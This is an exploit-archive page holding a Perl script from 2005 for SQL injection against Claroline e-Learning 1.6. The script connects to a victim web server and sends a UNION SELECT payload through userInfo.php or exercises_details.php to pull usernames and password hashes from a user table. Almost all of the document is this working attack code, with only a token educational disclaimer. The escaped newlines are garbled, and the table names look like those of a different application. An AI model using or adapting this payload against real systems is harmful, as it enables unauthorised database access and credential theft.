Claroline e-Learning <= 1.6 Remote Hash SQL Injection Exploit (2)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Claroline e-Learning <= 1.6 Remote Hash SQL Injection Exploit (2)
# Published : 2005-06-19
# Author : K-C0d3r
# Previous Title : Mambo <= 4.5.2.1 SQL Injection Exploit
# Next Title : Claroline e-Learning <= 1.6 Remote Hash SQL Injection Exploit

#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]

use IO::Socket;

sub Usage {
print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>n";
print STDERR "Targets:n1 - userInfo.phpn";
print STDERR "2 - exercises_details.phpn";
exit;
}

if (@ARGV < 3)
{
 Usage();
}

if (@ARGV > 3)
{
 Usage();
}

if (@ARGV == 3)
{
$host = @ARGV[0];
$path = @ARGV[1];
$target = @ARGV[2];

print "[K-C0d3r]  Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]n";
print "[+] Connecting to $hostn";

$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;

print "[+] Injecting command ...n";

if ($target == 1)
{
print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1nHost: $hostnn Connection: Closernrn";
while (<$socket>)
{
 print $_;
 exit;
}
}
if ($target == 2)
{
print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1nHost: $hostnn Connection: Closernrn";
while (<$socket>)
{
 print $_;
 exit;
}
}
}

# www.Syue.com [2005-06-19]